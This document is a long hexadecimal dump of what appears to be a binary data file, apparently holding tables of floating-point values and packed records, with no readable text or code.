e0df3f0000000000000000010100000000000000000000000000000000000000e0df3f0000000000000055000000000080ea3f00000000000000000000000000d0ef3f000000000000009a030000000050f63f0000000000000055000000000090fa3f0000000000000094b06ddbb66d8bfd3f000000000000000000000000f8774fc000000000000000fdfa0700000000000000000000000000000000000000c0ff3f0000000000c0ffc0000000000000807f0000000000000000000000000000404000000000e01fc03f00000000c03fc03f00000000a05fc03f00000000807fc03f00000000609fc03f0000000040bfc03f0000000020dfc03f0000000000ffc03f00000000e01ec13f00000000c03ec13f00000000a05ec13f00000000906ec13f00000000708ec13f0000000050aec13f0000000030cec13f0000000010eec13f0000000000fec13f00000000e01dc23f00000000c03dc23f00000000a05dc23f00000000906dc23f00000000708dc23f0000000050adc23f0000000040bdc23f0000000020ddc23f0000000000fdc23f00000000f00cc33f00000000d02cc33f00000000b04cc33f00000000a05cc33f00000000807cc33f00000000708cc33f0000000050acc33f0000000030ccc33f0000000020dcc33f0000000000fcc33f00000000f00bc43f00000000d02bc43f00000000c03bc43f00000000a05bc43f00000000906bc43f00000000708bc43f00000000609bc43f0000000040bbc43f0000000030cbc43f0000000020dbc43f0000000000fbc43f00000000f00ac53f00000000d02ac53f00000000c03ac53f00000000a05ac53f00000000906ac53f00000000807ac53f00000000609ac53f0000000050aac53f0000000040bac53f0000000020dac53f0000000010eac53f0000000000fac53f00000000e019c63f00000000d029c63f00000000c039c63f00000000a059c63f000000009069c63f000000008079c63f000000007089c63f0000000050a9c63f0000000040b9c63f0000000030c9c63f0000000020d9c63f0000000000f9c63f00000000f008c73f00000000e018c73f00000000d028c73f00000000b048c73f00000000a058c73f000000009068c73f000000008078c73f000000007088c73f000000006098c73f0000000040b8c73f0000000030c8c73f0000000020d8c73f0000000010e8c73f0000000000f8c73f00000000f007c83f00000000e017c83f00000000d027c83f00000000b047c83f00000000a057c83f000000009067c83f000000008077c83f000000007087c83f000000006097c83f0000000050a7c83f0000000040b7c83f0000000030c7c83f0000000020d7c83f0000000010e7c83f0000000000f7c83f00000000f006c93f00000000e016c93f00000000d026c93f00000000c036c93f00000000b046c93f00000000a056c93f000000009066c93f000000008076c93f000000007086c93f000000006096c93f0000000050a6c93f0000000040b6c93f0000000030c6c93f0000000020d6c93f0000000010e6c93f0000000000f6c93f00000000f005ca3f00000000e015ca3f00000000d025ca3f00000000c035ca3f00000000b045ca3f00000000a055ca3f000000009065ca3f000000008075ca3f000000008075ca3f000000007085ca3f000000006095ca3f0000000050a5ca3f0000000040b5ca3f0000000030c5ca3f0000000020d5ca3f0000000010e5ca3f0000000000f5ca3f0000000000f5ca3f00000000f004cb3f00000000e014cb3f00000000d024cb3f00000000c034cb3f00000000b044cb3f00000000a054cb3f00000000a054cb3f000000009064cb3f000000008074cb3f000000007084cb3f000000006094cb3f000000006094cb3f0000000050a4cb3f0000000040b4cb3f0000000030c4cb3f0000000020d4cb3f0000000020d4cb3f0000000010e4cb3f0000000000f4cb3f00000000f003cc3f00000000e013cc3f00000000e013cc3f00000000d023cc3f00000000c033cc3f00000000b043cc3f00000000b043cc3f00000000a053cc3f000000009063cc3f000000008073cc3f000000008073cc3f000000007083cc3f000000006093cc3f0000000050a3cc3f0000000050a3cc3f0000000040b3cc3f0000000030c3cc3f0000000020d3cc3f0000000020d3cc3f0000000010e3cc3f0000000000f3cc3f0000000000f3cc3f00000000f002cd3f00000000e012cd3f00000000e012cd3f00000000d022cd3f00000000c032cd3f00000000b042cd3f00000000b042cd3f00000000a052cd3f000000009062cd3f000000009062cd3f000000008072cd3f000000007082cd3f000000007082cd3f000000006092cd3f0000000050a2cd3f0000000050a2cd3f0000000040b2cd3f0000000030c2cd3f0000000030c2cd3f0000000020d2cd3f0000000010e2cd3f0000000010e2cd3f0000000000f2cd3f0000000000f2cd3f00000000f001ce3f00000000e011ce3f00000000e011ce3f00000000d021ce3f00000000c031ce3f00000000c031ce3f00000000b041ce3f00000000b041ce3f00000000a051ce3f000000009061ce3f000000009061ce3f000000008071ce3f000000008071ce3f000000007081ce3f000000006091ce3f000000006091ce3f0000000050a1ce3f0000000050a1ce3f0000000040b1ce3f0000000030c1ce3f0000000030c1ce3f0000000020d1ce3f0000000020d1ce3f0000000010e1ce3f0000000010e1ce3f0000000000f1ce3f00000000f000cf3f00000000f000cf3f00000000e010cf3f00000000e010cf3f00000000d020cf3f00000000d020cf3f00000000c030cf3f00000000c030cf3f00000000b040cf3f00000000a050cf3f00000000a050cf3f000000009060cf3f000000009060cf3f000000008070cf3f000000008070cf3f000000007080cf3f000000007080cf3f000000006090cf3f000000006090cf3f0000000050a0cf3f0000000050a0cf3f0000000040b0cf3f0000000040b0cf3f0000000030c0cf3f0000000030c0cf3f0000000020d0cf3f0000000020d0cf3f0000000010e0cf3f0000000010e0cf3f0000000000f0cf3f0000000000f0cf3f00000000000000000000000000000020c0ffffffff1fc1cef7fbfd7ebfdf2095b6bdbebf6afb0e1fd8799ee779be00990d76db63e0cd775fa5cc2050efc76e0ce7fea69cc98e683717638c31c65860e2de1f977b7fec5cc97659da65696757ef05d67781f56d529fd2047db4a5290ca40ad21ecbfc3a6f8d7c5b9223cfb7634099d28c4bd1475a030000000000505321fee11ffee13f01233533f86dd40c683b90af7bf9ba675bf379b6709e2dac539defb10feb89d67879887e50b28b87613b60810fea59305622c9955cc9957c0291c7059d7e3dee63598e685dc3750256e6e9cedbc790317c9db7233115bfcd5f8c7e5a942ff7b7533843c2fd6ed99e6d3b8090e342f92a5923dbb66ddbb64d03bb8f9889b88b485e07d81176841d7150a4ebf03a5e308e65df204182040962538f9b1d2ca0b55969a978e3253b443d55d60515d9b663a66c1cbceaf6aadb9b5663d1719fcfd42c6b694071d3cfa3b255b398ac437505dc683c9eabe6b96a6e52777f2c7b4b0a7c62e659ec2c76162b34ee9602f7d1f5f45d611d3a74e8d0717b3cbf9c09d62fb758297dabd57eab956a6bad2ed8506554513c78bc13141ebf5e11ebcf8d0ebb75783cd9ee94ed4e6955697e018bbf19596225bee55bbee57b05a2dd79b3855a3d57b9802ac50caa146425baa11bbaa13b050588d5470a377456da51140df0212261deed042d52fdcc79af24958b7e9d25530c0000000000505cf033ff380d8ae86bbece4199969eb3131a7eb429d1611f56f50a137e5498005e399e2bdf92e74a6c8ca95f5926534610dd4b882227baf455bc70c209279ce05c23e020182fa2106633945e46e96544773c778a3bc59df2507814b430c96c1b5620272b10ef6de25c6c75e76f6c55cc648559a948f16dce6f279ee7799ee75907bfa72bfc74856f516de8c71890db47560f70094c0697f05b0f0000000000505f391e78e081075e67407efcf8f1e3476fe23590aa58a06b7ecbf1783c1e8fc728e921f55e78430a52962f5f18d0552e55e0c9651fbb83335810bfd9b8f39bfd5b577296b91633725d39c2627442e32c608e0367d00d23706479514a29a5941268fbf6c8fd12d6906c28e78a61e65cf16f057fa5038faf88744ff18a57bce24578ac24b79324b7437c8edd104f87c249008fbf899a740a5805287badd77aadf709f8086c929b3aa40b013a2d1e22d8fe0c11d3f68625db470b287fe9977ee9b70909a9ee677693ca062986bf3db763f801f0d64c8ff3553e7d5b452a52918a047934fbf6509271ff7503c1ec1ab36b9c7095e4f47c666d9f6d39104e38e1845369b86858137440c96650f2ca17a38d336256238f1c5e48af5f73e28e067147735c9d80d77a03f51c5a922d35b7d4dc6257503bcddea521a955799c6bb363c5c9525f655d5957d6952a1cb929b5c316ed015f6f9875316ef1736a0000000000006a3afdf3e5740dcb63b15bcaf77983705dbf159f5afd539b5a0510da3510da6555e35603aae1872b512a4551144551340a1df6b08efc6d3773de04f1a8201ed5681fb7cfe0c5fae75fd5368215457f145af709de52f6c617553cb6cbdbe5edc2507f115bbadb96be7c9632da8a4569b36b9ba49193464e6a5ffc36dd74d34da75a75860c72daf4f754bec2b04a47865116355ae68d2dd9817186528cec1e74ba6404a1468b362f2a5be0d23295e187a655445f0ee1006f82196f0000000000006f26810dac7d4f55613df4d1471f7d64598bb95315ce9b7352ddf15b6dc282247ed0f9c17eef203168b74699a0bf63485c39affb14f473ab552b2f8aa2288a820cbb0da9cb0a71c46b51a838ce68605a5d41650add6ae32f552b2cb9922bb9b20c37bfa03262283a6a15a581b25bfc785c7bb4a56b8123f75496a0cf9d823ea77fd8fe54cd3355bf66fda11ad6197ead5a3df6cfef0e63d75108cc7edd094b55703d6ebb04625f8e5f190683c263305855af932566ec2ebe03108e1c3972e4486513ba345fbedefb59a817cb8be5c5e23d74cbc2f7b12c7c6b5555665b996d955cc5db4fdaa8ef9e52142aaca9b0a6426f40758865c21c5b5dbdbe19ed9bd1ee53dac303e51d4fd9742e3445713445015ee04506df32859f5463f49130cd41cf75295b4fae559f075e18c5c724e0a52853da752d367f1fa773adb66ddbb66d2b5d4cc576ee004102523a798f9988bb086e3d5670640547665b1bd406b5416d00503a9dcf7620e7b36a30be304ed796e8592d3221133221330d20debc79f3e64d6361c6e88f8790815626bb613e24a03e78387eecc992248b5eded83b471e5663515804e2f2837bdf6b3d5088570d14f2591e0a858554b9f108781fb687ed61bb613d3e1fe3f3316e532d62fab8304c1f6e4cc6e2772766045a2d0a99900999b00e5f704a350b4c7661e8261762961f6153665dcc38b376676d361354a454825a598734d081e2a5a104eda4ec8f09a2de5f0770c6e672077351e89364f793647768442cd65ac8047e566fcb1a68d3fd8d75c9badcde7d53045b2e0000000000200ecf0ebf45fc16b160c1dfc11ddcc18d529f26105a265de06883a326f41a3d8356afd3c3895f4f496f0d19a6934f102759a9583f5d1d93607dbdf7c1cde67d805df2dc3f46b921d41b725369e1262bc460dd88b384b9ba30513b9ed8e2892d5e651ee1c65912fadc54f1816a21e018a86b3dc60f218c313e56bb94524a29a5d46f07fb16a4226d5958575b8d816d627976fb32d3d7ca530e5a04e490c21af92c7df9cae70fa49dbe5c790701330e024606ce7b43e5b40bf15d2f1445511445710fdb13788b6be2ec5ee1978a284895141db35d82bd1631a95f370c0683c160302f99c89a56ce24285f2f0000000000e0cebe800103060c685f3f00000000000000000000000000000002fe0300ff0000000000000000000000000000000000e09f7f000000000000000000000000000000000000000000000001010000000000000000000000000000d00936309906c747c000000000000000000000000000f0b040000000000000000000000000cc3c30c000000000000000fe7ca94e225242174000000000000000000000f0b26ca8b93f00000000000000788a98b4ad870940bd00000000000000177badd77aad97693f0000000000000011000000000090be3f00000000000000550000000000f09a3f0000000000000055000000000090fa3f00000000000000000000000000e0df3f000000000000000000000000000000000000a0aafa9f503f0000604aca9f403f000050179b5bb83f0000b018684fb03f000040e46a5dac3f0000001ba22ea83f000020e05f04a43f0000009b191da03f0000805969119e3f0000b037193d9c3f0000a0fbd12f9a3f0000f0a82cd3983f00000083dff5963f000070ad9fe9943f000080eb4c8a923f0000c0f03aa5903f000030a8edc58f3f0000e0d653d48e3f000020d6a5e18d3f0000904796f28c3f0000b06cf29a8b3f000030371cae8a3f0000a0f85eb0893f000080522246893f00006016ac6d883f0000d095867b873f00004002e912863f0000305dff28853f000020e8b0c3843f000080d40ae2833f0000d0c350fe823f000060672099813f0000c0f03ab5803f000030a17d53803f0000100572a7ff3f0000700ea917ff3f00008005c286fe3f0000d0fa9d76fe3f0000107f49e4fd3f0000f0a2c757fd3f000010c7d4c0fc3f000020dc8db2fc3f0000b0721d1cfc3f0000604b6689fb3f0000f0c68c7efb3f0000e005c3e3fa3f0000d0e8ab56fa3f00007040cf3afa3f0000408da7acf93f0000e0efd910f93f0000f008b887f83f00000089226cf83f0000a060d5ddf73f000060c0dfb7f73f0000d0f8c121f73f000090ca089bf63f000020168d72f63f000010ac9fe9f53f0000f01c6741f53f000040893a39f53f000090c10a90f43f000070f64409f43f0000503841e5f33f0000c0377843f33f00004075c33af33f000060417d91f23f0000a01c7d0cf23f0000606720e9f13f000050528e42f13f0000c06d5d3ef13f0000505a5f9af03f00006078a176f03f0000402c62deef3f000090b56590ef3f000050e8c9a1ef3f0000e0c48773ef3f0000503bbf04ef3f0000f07b8ed4ee3f00000087b1e7ee3f0000a0fc3bb6ee3f0000202d9549ee3f0000c0585019ee3f0000906f0729ee3f0000f0b168fbed3f00001070398bed3f0000104ad35bed3f00003000896bed3f0000b0520a3aed3f0000c0b169cbec3f0000904d9a94ec3f0000604651a4ec3f0000501cea75ec3f0000a0ef9a06ec3f000080b034d0eb3f000020cfdde6eb3f0000c04beab5eb3f000080869644eb3f000090cfe16aeb3f000030a77b38eb3f0000802db7cfea3f0000c062ea9dea3f0000106701a3ea3f0000b09a8e71ea3f0000b00d6c04ea3f00007040cf2aea3f0000f072aefae93f000070c5ec8fe93f000010d84e50e93f0000209b0865e93f0000a02e6e36e93f0000e0a24fdae83f0000f027eeeee83f0000105e28b1e83f000050f53745e83f000000de6069e83f000030c8123de83f000010e4e2cee73f0000d001939ae73f00009001ffb6e73f000080b3a942e73f0000c077721de73f0000809eef29e73f0000e0877bc5e63f00001084d39ee63f000040e3d1abe63f000080150844e63f0000006ba311e63f0000e0c3d02ae63f000060a0ddc7e53f000090d00892e53f00009034d6a8e53f0000907c7046e53f0000c0d8df1de53f00003019d82be53f0000001e05c0e43f00007087b39fe43f00009025dbb5e43f000090c8c043e43f00008060211ae43f000090dda630e43f0000f06f8bc8e33f0000a077eae1e33f0000e01492bae33f0000c0377853e33f000070905864e33f000000af4e3de33f0000a0c369d7e23f0000708eccefe23f000090ef2486e23f000020c7645ee23f000030059971e23f0000006abe09e23f000090157921e23f00001098acfae13f0000a0d13d92e13f0000602236aae13f0000609a6145e13f0000d0495a1de13f0000c0e0cb35e13f000050df9dcde03f0000b055dce6e03f0000f0d342bee03f0000307ac257e03f000080d8f770e03f0000206f9909e03f0000002ed322e03f0000b04aebf1df3f0000a0f277c5df3f0000e07ea6d8df3f0000904f94abdf3f0000b0a44bbfdf3f0000506e4c92df3f000080dcd965df3f0000402ff778df3f0000b0c6dd4bdf3f0000e092cc5edf3f0000c0a3b231df3f000080c9ad04df3f00001034d317df3f00009063fae8de3f000010a8a4fdde3f000090e15ecede3f0000200062a3de3f0000d01397b5de3f0000a0fc3b86de3f0000b05a9398de3f0000006ee26dde3f0000b056787fde3f0000b0e4e550de3f000010a87b22de3f0000f0e0c637de3f0000500fb709de3f000040e3591bde3f0000d00cd0eedd3f0000f0fb14fddd3f0000d0e001d3dd3f0000602b08a1dd3f0000c09b0eb7dd3f000000620585dd3f0000104e279bdd3f00000050db69dd3f0000f0c7aa7fdd3f0000f0e5ba4ddd3f0000e0092922dd3f000000b46630dd3f000030449006dd3f000090badc14dd3f000030e7d0e4dc3f0000007a63fadc3f0000302338c8dc3f0000b0129edfdc3f000090b866addc3f0000e044fbbcdc3f0000b0a76692dc3f0000f0700261dc3f0000d0307370dc3f000030079246dc3f000040c43255dc3f0000f0370024dc3f00006062db3adc3f000090a3d909dc3f000080dba018dc3f0000403a76e8db3f0000e06f92f9db3f000060fcb2cadb3f0000e07fa0dbdb3f000050cacab4db3f0000c04bea85db3f000030440696db3f0000d083d067db3f000080aabe70db3f000050a85c40db3f000060dd0851db3f0000a0d9bf22db3f0000301dfa33db3f000010c83f03db3f0000304a821cdb3f0000c0d31aecda3f0000c064bdfcda3f0000200d07cfda3f000000ad97dfda3f000060446faeda3f000050c3c8beda3f0000d029928eda3f0000f0a72b99da3f0000b01d2169da3f000020db6779da3f00004000ed48da3f0000304dc058da3f0000d0617c28da3f0000508e0338da3f0000a0a2ec0bda3f0000d0cee01bda3f0000f0c23ce8d93f0000f0ce20f8d93f0000e0a26cc8d93f0000000000000000000000000000005a1913525cd63d88efbc96e9deefc6db186ff057f916fdc27395288a05fc3f82168edcde8c1edfd7e84a3bceae92a9c2abc7beb019f840c3c50968996696fc3263c9117a4df5552c88b450edc587ee2d20cbcdb160588e21f419cbe982b8c3364aa42a2c11568c23729df9c4f78c76dcb74de487b2a0a32b4fb8b51dc7c4c39c1444ad0455f27528867c141134b36b13ed2507dc053c3a10336b2c0805287726004b02976dc1611322539dac4e3c2210ed6edee426cf4c1c0dfafea0411cef1b3f888191bcd3dc14ee626455efaade2631bcdcdc7d4e98269ab3dd0c6c3fb11ab20b975299ba4619118387ad08399910e7d4740cb87fab2731da06182eb079124fb8b51dc7c4d38c24fc4708011543c07a819621ba994428dccce37faebd98072d9b2a13bb97bc1f2f09bc241e23991ae17c596c23a1260c86b393deacd50f0ef9efd5585a37f90ffb535bf64ffb41f3fbd3466afc5d65c08f1568f3c66caf070907e1fb857dce22302e37aa1cac10234bfe2dad4a71030d7f3d7277038806c926e40970ecff862de78864473a2f4b12c231ebb54dde251b6742c497804e962ec1c95ec5d34b313a1aa4c00266a7a71a038ce5d55bca2d035ee26e84c545d10726b704adf10cc7021d4d5cf4acaffa011fee4ab46f4e2907fe5c2d549a7e3c03c0edce952374220304dd40ff6b85961e223dad8e615316185ef72736ee0244103dce5c2933982f022438959555e8a908b2ee78b623f288c832da06182eb0690210d0b6b72d80472b828d95c8de0a8f09533243c030c10417b226b04f29c08604757e2f6933f58308d166e2684292e10c31211420a828d571832264e19d1bbf1d7eb677adf1b754007f7e0e9b3fc91f7d6d9f3a74c7d8b91ab1b63e1b501b1079b313501098eee375d98fd41330068f283d021afea0d4dd72348fc18f396cd9794b67f3dcfa29e535a63c51ef2fc1da106e1a7172734b347baccb61595bf8877ba7eb87fc8a2bea7cf044260553ca757b66ff3545153cdb1be96ba0bbb0b2900b9d7ac522e2db30097779c47a118520044a425d4cf7d94d7ae782b3fbe514c21e61411e334776f2cd58575fee613fe80b3aabd5375e13231dcbd1039354578b02366b1d6885fd4313e5b138e3d87c28037f5b90b9cf6597302207ba3587a3fe707f3d72770388f63ac78301d295f2eb1b698fd69a9b10371642f90dd5741f7b7318d3bfa64d0d8d1f18013fdf8414137a404d9e033f55e71d0fb8fa695aafd5041703237fa810ef1f8a9fd3bccb35f5712424024320302b7a752cae4fd95a42792474054082e80a75165ee4bc382b797a8f48ea535771227a5cfe4abc630c3e0566f2a51a7cd8f17e99faa5e59652e502962780742bdbcd788423ed81d86f0a764a7695119320242fd07c2816a4766f2f172bdfc957a3c61824778872a74f3677b89482c5b3b0650de842eb3a24d6bb329231c7f2cfc89607a10f8a898324717bcbad3840a742e71c1cbe15d19bf8191cf5e8f1644e833673e5a664dcdb87de79278ba8815d9f3374fbfb588bae0f760406cc70904e415d780436e318c17805752516c0a7685d4e2f3bca01fb80830901f8738b81c084d4115ef72736ee025400fd784ed2ccde040f69ad0c2031ec4c79068bf982f4d8a872af2c7e697dd64d725e7086918a48807b502b04b845941e08ecce5aee1aea1472a40263799015340da26c70eac1a64f7c206542759420bc7a76d6c751e63e907e08eced4906107523c2462b4452e657084c955dba6652161cb095cd06a7743a0739bedfbfd4531171dce29a2d8b3e4b77e652489a09b1a47ada6e3bb97381c1055938ec8edb17bf7071727470976ccc309e8f849bd946ef7eead98c2059a77d1c9bd46be1b8d4d1784f242d0eb05ac361bc7b326fe91f0965868d202db3c716641283331c3e8761662d3f94a4961cc66e8b8a4d332bc4f060e57f24238ab5c163603cb8d0a03ed47ef4c2c9aec2de2a67a93c70f41d7500791f63df6768a46f67e71e3cd6b4c3066244423ae3d22c5170b28848bd4ff10978056594d9e665d47aa3e43501e2099109b1b63e1b501b00692290f33e7282e6692a71721b9275b461c985438a9ebade7f6cea07c4f17cb37bcfd85030319abc6066c58d16e62e92628d6ba3db2161bc6286af0f808a1c5969eed336ec6f9c031720a87514aab69366e4a27301f707b470b0a6eca315e2ce604b7d70ee79de6c636efd7f2ef14e601dc7389a8c5fc5790ac2f85a5b0ae3b7659314298574e4d863171b6ad6d876d3ce05cd87650a94d36473ea1c611324cf1cb8d651a0a899db75270341d7a68bf36cbb29510d75fd4204af57fcee28b3106193a76e86d81e766cede6a5b93a76316a1bf2fa8b65fa62656fce9b449d7bfd65377d63c0c903587b28442d820f42ec622d316c839de18b047a7c21ea8886a16283a0421abd07ac6df796cf9b6f8ab161724440bd584fb66aec1fd3c2a62362054b4f5764b4f8067db5b779976bb8506f47b00194b969dc6e4f2e06277fbee465e24f40e848bdf9099f59fba6158b181de782b3fbe514d20e026738390f323960b5d563ca7a25861096b0c2e1dbf72a0340314b720b1d3b65c23ed9fc2369ff6ce708b311af45c6615400e48efa89276abb8cc2c2b2ce5e15842091da9cedfe604ae2014106d25a66aa04491544ce51291cfd6612bd79267771789d589f8ba078345ff1fa0c34287083b1fec61bff927cb6f97561ab01897886e075a9083b8e07f78289e6c2d37279e1c5c72a564aac796b06a5af675533667356641ced6dff22f92af4d0e7f6806609cd2651e9361e722cbe4d0bc6641a6c71f5a02b23b1f66b1bd7db4a403d5f7f52480be20580136502454cdad6c394503e00000000000000000000000000f0cf3f000030aab6dccf3f0000d060e9a9cf3f00001055c277cf3f00006038ed45cf3f000030dc0f13cf3f0000d0d112e2ce3f0000a03ad8b3ce3f00003088ca83ce3f0000e0bbf852ce3f000030b75325ce3f000080bb3df4cd3f0000601a42cacd3f000060252e99cd3f0000f06d036ccd3f0000a0255720cd3f000000fef8f5cc3f0000b0b834cfcc3f00003097d682cc3f000030eb7c54cc3f000040e6782dcc3f0000202a1ce2cb3f0000606846bacb3f0000b0122472cb3f0000d00a654bcb3f000070c24b0dcb3f0000507b1fc1ca3f00003077289aca3f0000d0d7ac5eca3f0000107f8812ca3f0000b0ce5ad2c93f000080b85a94c93f000060fe3e56c93f000030826d29c93f0000e0956ae8c83f000050bbb4a8c83f00007064b556c83f000030c31115c83f00009019acddc73f00009049b190c73f000040a54954c73f0000903e5f09c73f0000b08700cec63f00009012ff84c63f00008011553dc63f000070166af6c53f0000b0b356afc53f0000503bf564c53f0000900f7712c53f0000b01291c8c43f0000f0860984c43f0000908ed237c43f0000d04b82e5c33f000020d1969bc33f0000d0f0974bc33f0000406d2afac23f0000d0c840a5c23f000000e64f54c23f000030a76b01c23f0000e0ce7eaec13f0000a00f0b5ac13f0000e0fbe104c13f0000502626afc03f000080416658c03f00000000000000f927021dc1ef83521414e9768a87e47680389781a7dc8b5e4c43f4db0ce19a57292d2a009d13d87824a5544ff40ba9cf3e81e4d9e4093f53c747074c575892560f5c14937c49b958bedbdb273d11bd08e8cb6adbb5dca55ecb764ebdb42e8652a2757ce1877ade697bd22734ff042b6a4b51242d219ccb65957a8a71440d075a0ed4809e4d97637d6a05cdb68d4db6621a4bc773a4e9c56d1a4c032f2c4c4c566569b61b7d904d01ee0b1f840b297a26b088490fb3f7536960507be934708c6a5cad7b2e28c62e643125567b394b2f64fe7229f2f64b8e645ef223e3fa38fa54adfcd59ba431e2683d7e85a09ae82733f1f1b7ad35b8eb7c80926e70dd13a567fb84a5b969fea256dfa7fc5d5966b95f54d047dfbd965067bf2916883a541771347e35c9b10466652f8e8a30b905fb5c05f3c9d8fcacef581414e307dc53147f707e673b82c4485cb9848914220491171a192a880320d3510bd70163049b5a7b8b8050ac0371dd581a3648becedbb07fae3ca3f20b11b26b5767b3e7fd12d75c9fde9218deb5fe5ebab96862c5289d7903d5f697fd84e22ca8d7057c9daf6155512dd602340dc352a9902df8f2ffb6577b5b04ede51d6b5a35bfff4547be9e57336de4afbf4d977068108d3e2f06977572b8684427d37260a3e657e04aa2617b9a9bd1a0fa76ae523796514e0a56ba584074e36b8fe4d0073e000000e3afd4f9610000000d0d00002c2f0300648ce90164bedb0100000000e3afd4f9610000000e0e00000000000000000000000000000000000000000000949400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003010228281010000000000000000000000000000000000006023428181010000682b42818101000000000000000000000000000000000000000101000000000001010000000000000000000038112b0210f4e501e80be2010000000000000000000000000000000000000000000000000101000028cce501000000000000000038dce50100000000000000000000000038112b020000000000000000ff000000ff0000004040000010f4e50100000000000000000000000001010000000000000000000010392b02886ce5016084e50100000000000000000000000000000000000000000000000002020000a044e5010000000000000000b85ce50138dce5010000000000000000000000000000000010392b020101000000000000ff000000ff00000040400000886ce50100000000000000000000000001010000000000000000000060492b0208ede401e004e5010000000000000000000000000000000000000000000000000202000020c5e401000000000000000038dde40138dce5010000000000000000000000000000000060492b020101000000000000ff000000ff0000004040000008ede40100000000000000000000000001010000000000000000000088a12b02886de4016085e40100000000000000000000000000000000000000000000000003030000a045e4010000000000000000c025e40138dde40138dce501000000000000000000000000000000000000000088a12b020202000000000000ff000000ff00000040400000886de401000000000000000000000000010100000000000000000000b0992b0210f6e701e80de4010000000000000000000000000000000000000000000000000303000028cee701000000000000000048aee70138dde40138dce5010000000000000000000000000000000000000000b0992b020202000000000000ff000000ff0000004040000010f6e701000000000000000000000000010100000000000000000000002a2802987ee7017096e70100000000000000000000000000000000000000000000000001010000b056e7010000000000000000c026e701000000000000000000000000002a28020000000000000000ff000000ff00000040400000987ee701000000000000000000000000010100000000000000000000200a280210f7e601e80ee7010000000000000000000000000000000000000000000000000303000028cfe601000000000000000048afe601b85ce50138dce5010000000000000000000000000000000000000000200a28020202000000000000ff000000ff0000004040000010f7e601000000000000000000000000010100000000000000000000507a2802987fe6017097e60100000000000000000000000000000000000000000000000002020000b057e6010000000000000000c82fe60138dce50100000000000000000000000000000000507a28020101000000000000ff000000ff00000040400000987fe6010000000000000000000000000101000000000000000000007852280218f0e901f017e6010000000000000000000000000000000000000000000000000101000030d8e901000000000000000040a8e901000000000000000000000000785228020000000000000000ff000000ff0000004040000018f0e9010000000000000000470417184c101000303000002e5a111d0c50400d6900000030201000d0f627012e5a111d0c5049036e00000000373601202000002e5a111d0c5049034a14003020173601606606002e5a111d0c505c7880bd3c011e1e00002e5a111d0c505d1d6400000000404101606303002e470d05151545113500000060234201101000002e1e00530501670070334201080800002e6d1106707c1b0241000000783b4201080800002e6d1106707c1b0f4c00000080c34201080800002e6d1106707c1b165500000088cb4201080800002e6d1106707c1b195a00000090d34201080800002e6d1106707c11084100000098db4201181800002e6d1106707c110a43000000b0f34201080800002e6d1106707c11135a000000b8fb4201080800002e6d1106707c081141000000c0834201101000002e6d1106707c080858000000d0934201080800002e6d1106707c080819410000d89b4201080800002e6d1106707c080a5a000000e0a34201080800002e6d1106707c0c1541000000e8ab4201080800002e6d1106707c0c0e5a000000f0b34201f8679f002e5c160515156100e80be2017c7804002e5c16051515455672000000648ce9012c2f03002e5c16051515455e00001e0605670000907bea01080800002e5c0617476d0800410000009873ea01080800002e5c0617476d13005a000000a04bea01080800002e5c06174770150041000000a843ea01080800002e5c061747700e005a000000b05bea01687e16002e561c0515156100181a0002a8aa02002e561c051515455c78000000c0c40602505000002e4b01051515610010150702a0a000002e470d051515451632000000b0b50702181800002e470d051515451733000000c8cd0702606303002e470d05151545103400000028210b02707707002e470d05151545123600000000202202101909002e4a05151561000010392b02909101002e4a051515455672a08a28020c1e12002e4c11007300000000404202243115002e5e14051515610000606202808000002e49010f0d17575c7800000080e06202707000002e49010f0d17575d7900000000707202606000002e5c0101114714013100000060107202989800002e5c010111471402320000000000000000000000000000000000000000000000000000000000000000000000010b0e040a3e32060a3834767107040206343032311b100a1a6e7d091a7e6c081a4e53071a2e32061a2824f6f90518040d3927130dfff476646470007878000019061a050d3927120c0c1111077670001464700070780800010e09060f6b6c080f3b33070f3d397b6939250512665327121323220656500014647000000101002131140410744226083c112550481800ced6180018f4ed012121000050481800ced6180018f4ed0121210404006442260034112550481800ced6180018f4ed01010b0e040a6e6e0a0a5854765124070205313c08a0bc1c00ddc11c00709ced012121020200343c08a0bc1c00ddc11c00709ced01010e09060f6b63070f3b32060f3d397b710e09060f5b5c080f3b33070f3d396b4124070205717206908e1e001a051f00b458ed0121210000908e1e001a051f00b458ed012121020200747206908e1e001a051f00b458ed0101141d0815617c081571630715213206152723f1e1141d0815716d0915415c0815213307152723f1c124070205717206a0812100ebca210010fdec0121210000a0812100ebca210010fdec012121020200747206a0812100ebca210010fdec01193c23062511390d174541f3f1616070405f7f0000babb01ff000000ff000000ff000000ff0000000101000000000000010100000000000000000000000000000303000001010000bc51ec0102020000020200000303000001010000d03dec01000000000000000000000000201736013838000000000000000000000000000086b136014848000000000000000000000000000050732300ff0000003de1230000000000092d2400ff000000df173601000000002d1a3601010100003502360102020000784f36010000000094a3360103030000191308020a383456705f7f0000babb01191208030b49455756363000205f7f0000babb01190518040dfff4e6e4c4c27264647000606000002135100414404317083c2216c0e525007e58260054baef01212e0b040ffbfa0e05616b0f7e582600416627006886ef01212100007e582600416627006886ef0121210000c0e525007e58260054baef01212104040054431700342216c0e525007e58260054baef01193b25071415131208f8f6c6c474733332525000146470007878000021391e0618fcf41010c4c511086c7f1ba08828001c352900d03eef0121210000a08828001c352900d03eef012121060600e4f41000d4c51100647f1ba08828001c352900d03eef01012c270a2d456a0225416e0a20745d091b2f3c0806545072693f230515144d4c06f6f4c4c25250001464700040420200210d260a2cc8ae4a24f09f4b1c68275314703652083c655180ac2c00c9e52c004ca3ee012121000080ac2c00c9e52c004ca3ee0121210a0a00e4ae4a00d49f4b00742753006436520034655180ac2c00c9e52c004ca3ee01190418050b0aa5a4047473636232300014647000101505002134110415f14fab085cfca8f0c1310033013200bc53ee0121210000f0c1310033013200bc53ee01011e19061f1e12131363627271212040493f2f09182c112518191d1c0cfcfaeae87877676656500014647000d8d800002124070205515206f0c737003f07380008e4ed0121210000f0c737003f07380008e4ed01192b3f0d2054c3b72044d2b62074e1b5201480b42021b1b019e9e7f7f5d5c0001464700070750500190518040dfff47675555434246470007070000021290a02086c7317605d3d001a243e007888f10121210000605d3d001a243e007888f1010119120a186c7206187c6105184c5004182c370318e8e6f6e10b0e040a3e3c080a383466412b0e040a7e730705515206f0b040000a4b4100c838f10121210000f0b040000a4b4100c838f101010705030632300406666000212b0e040aeee70305717602b0f44400dc984400fc0cf1012121040400e4e70300747602b0f44400dc984400fc0cf101010b0e040a3e33070a38347651240702056162067036460085c3460038c9f001212100007036460085c3460038c9f0010105050104464200193d2e0a2440751120143a0e146662e0feeeecdcdacac878505f7f0018